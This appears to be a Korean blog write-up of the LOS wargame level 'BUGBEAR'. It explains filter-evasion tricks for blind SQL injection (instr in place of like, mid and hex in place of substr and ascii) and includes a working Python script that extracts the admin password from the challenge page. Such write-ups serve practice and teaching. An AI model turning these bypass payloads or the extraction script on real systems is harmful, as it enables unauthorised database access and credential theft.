2021. 1. 17. 17:13ㆍ정보보안/웹 해킹
13번 문제인 BUGBEAR 다.
이제는 문제를 딱봐도 Blind SQL Injection 문제라는걸 알겠다.
필터식을 확인해보자
if(preg_match('/prob|_|\.|\(\)/i', $_GET[no]))
if(preg_match('/\'/i', $_GET[pw]))
if(preg_match('/\'|substr|ascii|=|or|and| |like|0x/i', $_GET[no]))
no 파라미터는 prob, _(언더바), .(마침표), substr, ascii, =(equal), like, or, and, 0x, 공백을 사용하지 못하며,
pw 파라미터는 싱글쿼터를 사용할 수 없다.
앞서 Blind SQL Injection 문제를 해결할 때 사용했던 함수들 및 특수문자들 대부분이 필터링 처리되어있다.
이를 우회하기 위한 방법을 찾아보자.
바로 이전 문제인 DARKKNIGHT에서 Blind SQL Injection을 수행하기 위해 우회했던 함수는
substr은 mid
ascii는 ord
BUGBEAR 문제는 여기에 like까지 우회를 해야 하는데,
like를 우회할 수 있는 다른 함수로는 instr 함수가 있다.
instr(인자1, 인자2) 함수는 인자2의 문자열이 인자1의 문자열에서 처음으로 일치하는 위치를 리턴한다.
사용법은 다음과 같다.
select id from prob_bugbear where id='guest' and pw='' and no=123||instr(id,"admin")&&instr(length(pw),8)
[주의]
select id from prob_bugbear where id='guest' and pw='' and no=123||instr(id,"admin")&&instr(ord(mid(pw,1,1),48) 는 HeHe가 출력되며 종료된다.
왜 그럴까 계속 고민을 해봣는데, no 파라미터에서 or을 필터링하고 있기때문이었다.
그러므로 ord 대신에, hex함수를 사용해 이를 우회하였다.
hex함수는 문자열을 아스키코드 헥사값으로 변환해주므로
hex(substr(pw, 1, 1)) = hex(48) 같은 방법으로 함수를 이용할 수 있다.
이를 적용해 파이썬 스크립트를 수정해보자.
import requests
URL = 'https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php'
cookies = {'PHPSESSID' : 'agvbtokmc6jbaqove2a6e9q43t'}
def find_len():
pw_len = 0
while True:
pw_len += 1
value = "123||instr(id,\"admin\")&&instr(length(pw),{})".format(pw_len)
params = {'no' : value}
response = requests.get(URL, params=params, cookies=cookies)
if 'Hello admin' in response.text:
print('패스워드의 길이는', pw_len,'입니다.')
break
print('Trying')
return pw_len
def find_pw():
pw_len = find_len()
pw = ''
for i in range(1, pw_len+1):
for ascii in range(48, 123):
value = "123||instr(id,\"admin\")&&instr(hex(mid(pw,{},1)),hex({}))".format(i, ascii)
params = {'no': value}
response = requests.get(URL, params=params, cookies=cookies)
if 'Hello admin' in response.text:
print(i,'번째 패스워드는', chr(ascii))
pw += chr(ascii)
continue
print('패스워드는', pw)
return pw
find_pw()
'정보보안 > 웹 해킹' 카테고리의 다른 글
LOS(The Lord of the SQLI) 16 - SUCCUBUS (0) | 2021.01.17 |
---|---|
LOS(The Lord of the SQLI) 14 - GIANT (0) | 2021.01.17 |
LOS(The Lord of the SQLI) 11 - GOLEM (0) | 2021.01.16 |
LOS(The Lord of the SQLI) 9 - VAMPIRE (0) | 2021.01.16 |
LOS(The Lord of the SQLI) 8 - TROLL (0) | 2021.01.16 |